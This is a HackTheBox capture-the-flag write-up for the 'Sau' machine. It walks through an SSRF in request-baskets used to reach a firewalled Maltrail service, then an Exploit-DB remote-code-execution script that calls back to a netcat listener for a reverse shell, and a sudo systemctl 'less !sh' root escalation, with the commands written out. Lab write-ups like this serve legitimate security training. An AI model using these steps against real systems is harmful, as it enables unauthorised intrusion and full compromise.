> For the complete documentation index, see [llms.txt](https://thamizhiniyancs.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thamizhiniyancs.gitbook.io/writeups/hackthebox/machines/easy/sau.md).

# Sau

Sau writeup by Thamizhiniyan C S

## Overview

Hello everyone, In this blog we are going to solve Sau from HackTheBox.

Link for the machine : <https://app.hackthebox.com/machines/Sau>

Lets Start 🙌

Connect to the HTB server by using the OpenVpn configuration file that’s generated by HTB.

\[ [Click Here](https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access) to learn more about how to connect to vpn and access the boxes. ]

After connecting to the vpn service, click on Join Machine to access the machine’s ip.

After joining the machine you can see the IP Address of the target machine.

***

## Reconnaissance

First I started by scanning for open ports on the target machine.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FjhIwhFpGDBshh30NHM2e%2FUntitled.png?alt=media&amp;token=b052e122-460f-4776-a763-51f7b52b3ae4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FiaY86dGXgY9nRzTGK4UO%2FUntitled%201.png?alt=media&amp;token=6e0a7417-30bf-4143-8d05-2c30a48bcecc" alt=""><figcaption></figcaption></figure>

From the response of the `nmap` , there are 3 open ports of which one is SSH running on port 22, on port 80 HTTP service is running, but its filtered by firewall and the other one is running on port `55555` , which is unknown, but returns a response for HTTP GET request.

On visiting port 55555 on via browser, It returned a website.

***

## Enumerating the Website

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FPMLdBtFdsofX6r9kq5q9%2FUntitled%202.png?alt=media&amp;token=84a0dcbe-a628-47bd-aae9-bad0631c36a6" alt=""><figcaption></figcaption></figure>

In the website is running the `request baskets` service version `1.2.1`. On searching about this service on google, found this:&#x20;

{% embed url="<https://www.exploit-db.com/exploits/51675>" %}

&#x20;which proves that the website is vulnerable to SSRF vulnerability. To exploit this vulnerability first create a new basket.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FgOInrr9jywGysoQLMRn1%2FUntitled%203.png?alt=media&amp;token=46734997-3bcd-4a2c-b24b-43011fa20b24" alt=""><figcaption></figcaption></figure>

Next make a note on the basket name and the access token and click on open basket.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fif29M0LyXLZ0gspddMkA%2FUntitled%204.png?alt=media&amp;token=21ef67e6-67a2-4091-95c2-2da218642c37" alt=""><figcaption></figcaption></figure>

After opening the basket click on the settings icon on the top right corner.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fyoyc2YiEnJCMRzGKRUTd%2FUntitled%205.png?alt=media&amp;token=f84b4ef6-1a7e-426d-b998-838bf2a6d6f9" alt=""><figcaption></figcaption></figure>

It open a configuration dialog box.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fqy65t4uv0RjP1sIvKrp7%2FUntitled%206.png?alt=media&amp;token=e1ea3327-e223-4172-9644-586a5dec2149" alt=""><figcaption></figcaption></figure>

On the configuration dialog box, fill the details as shown in the above figure and click apply. By configuring as mentioned above, we are trying to access the HTTP service running on port `80` which was blocked by the firewall on the target machine by leveraging the SSRF vulnerability.

Basically what ever URL we configure on request basket, the request basket will send a GET request on its behalf and fetch the results for us, in our case it acts like a proxy to fetch the website, which is not accessible to use from the outside network, but is accessible to request basket application, since it is running on the same network on which the web service is running.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FnNZHWt1P57xWNBexdEHy%2FUntitled%207.png?alt=media&amp;token=952b5fa7-73a7-4b21-b525-9f90a1b03839" alt=""><figcaption></figcaption></figure>

Now open the link \[ mentioned in the above picture, link might be different in your case ] in a new tab.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FHfhEFAoX7AmlWludGmM8%2FUntitled%208.png?alt=media&amp;token=3c9bb0ef-12a0-4026-ab8c-c9165eb89608" alt=""><figcaption></figcaption></figure>

We can see a website which is running `Maltrail v0.53`, nothing else is interesting on the website. So I started searching about `Maltrail v0.53`, and found this&#x20;

{% embed url="<https://www.exploit-db.com/exploits/51676>" %}

from which we can devise that the service is vulnerable to RCE.

***

## Getting the User Flag

I downloaded the payload to give it a try.

{% embed url="<https://www.exploit-db.com/download/51676>" %}

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FoERRg4xImXsOHCYAolGu%2FUntitled%209.png?alt=media&amp;token=3c05ebcc-c388-4ff2-bce5-9059c01e2cfc" alt=""><figcaption></figcaption></figure>

Before executing the payload, I started a `netcat` listener on port 8000.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FmZ7EcvlVDGoMEWwpgRQT%2FUntitled%2010.png?alt=media&amp;token=487ef249-9f2b-4d39-8739-44f74bd498b4" alt=""><figcaption></figcaption></figure>

Now its time to execute the payload.

Command: `python3 51676 <HTB_VPN_TUN_IP> 8000 <the_request_basket_address_that_we_used_to_access_the_web_service>`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FjVSLeOcBIu3LewKFWXYr%2FUntitled%2011.png?alt=media&amp;token=ff32d653-e6a5-43c1-afd2-311f74a0da27" alt=""><figcaption></figcaption></figure>

After executing the exploit, check the `netcat` listener.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FeQnA1VY74QOj8wigCl3K%2FUntitled%2012.png?alt=media&amp;token=74fb4339-74b8-4c41-ac96-68670d7f15c6" alt=""><figcaption></figcaption></figure>

We successfully got the connection back. Now we got our initial access to the target machine. First I upgraded the shell.

Command: `python3 -c 'import pty; pty.spawn("/bin/bash")'`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fqwj87aosl5rbIfvK4OqK%2FUntitled%2013.png?alt=media&amp;token=d6badf4a-90c3-41d2-8702-ae0e106c229a" alt=""><figcaption></figcaption></figure>

And also I found the user flag.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FXgeA5BCUMJ6m55hZQlTk%2FUntitled%2014.png?alt=media&amp;token=a407437f-8900-44c1-9cdf-e2bae5713b48" alt=""><figcaption></figcaption></figure>

***

## Getting the Root Flag

Now its time to escalate our privileges and find the root flag.

I was looking out for some common privilege escalation vectors and found this.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FbkFuq0Imvi5ZE0zBQXUH%2FUntitled%2015.png?alt=media&amp;token=40c659ff-e27b-402b-a9af-d701f324ac6e" alt=""><figcaption></figcaption></figure>

The user `puma` can run the command `/usr/bin/systemctl status trail.service` as `sudo` without entering the password. I checked GTFObins regarding this and found this&#x20;

{% embed url="<https://gtfobins.github.io/gtfobins/systemctl/#sudo>" %}

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F07ypb6rgRw3bZT6sFNa5%2FUntitled%2016.png?alt=media&amp;token=e1e81958-ec8a-4689-bbf8-ab5283115f3c" alt=""><figcaption></figcaption></figure>

Thus if we run the command `sudo /usr/bin/systemctl status trail.service` , then run the command `!sh` after entering into the less page, we can escalate our privileges as root.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F3a3QlRSO1MGFWiOq0rvL%2FUntitled%2017.png?alt=media&amp;token=a9d3bca1-8cfe-407d-9ac4-87ac275a6ea2" alt=""><figcaption></figcaption></figure>

Now we have successfully escalated our privileges as root. Now its time to find the root flag.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fr9Gb9JIoo4khld99mOPV%2FUntitled%2018.png?alt=media&amp;token=281e8b24-1f0a-41f3-8449-d4eff6b8274b" alt=""><figcaption></figcaption></figure>

We have successfully found the root flag.

Thank You…….
